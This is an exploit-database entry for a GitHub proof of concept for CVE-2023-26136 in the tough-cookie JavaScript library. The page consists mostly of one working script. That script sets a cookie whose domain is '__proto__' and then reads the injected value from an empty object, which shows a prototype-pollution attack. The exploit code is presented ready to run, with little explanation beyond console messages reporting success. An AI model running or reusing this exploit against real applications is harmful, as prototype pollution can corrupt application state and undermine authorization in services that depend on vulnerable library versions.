Exploit database

GH-5158fc373c07298437327046682bd2c3

cucumberanorsncompany/sealsecurityassignment

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-26136

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files14
cucumberanorsncompany/sealsecurityassignmentRevision fd236dbbf09b

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

index.js

JavaScript · 1,546 bytes
async function main() {
    try {
        console.log("Creating a new cookie jar...");
        var tough = require("tough-cookie");
        var cookiejar = new tough.CookieJar(undefined, { rejectPublicSuffixes: false });

        console.log("Setting a normal cookie...");
        await new Promise((resolve, reject) => {
            cookiejar.setCookie(
                "Auth=Lol; Domain=google.com; Path=/notauth",
                "https://google.com/",
                { loose: true },
                (err, cookie) => {
                    if (err) {
                        reject(err);
                    } else {
                        resolve(cookie);
                    }
                }
            );
        });

        console.log("Setting an exploit cookie...");
        await new Promise((resolve, reject) => {
            cookiejar.setCookie(
                "Slonser=polluted; Domain=__proto__; Path=/notauth",
                "https://__proto__/admin",
                { loose: true },
                (err, cookie) => {
                    if (err) {
                        reject(err);
                    } else {
                        resolve(cookie);
                    }
                }
            );
        });

        console.log("Trying to access the exploit cookie...");
        var a = {};
        console.log(a["/notauth"]["Slonser"]);
        console.log("EXPLOITED SUCCESSFULLY");
    } catch (error) {
        console.error("Error:", error);
        console.log("EXPLOIT FAILED");
    }
}

main();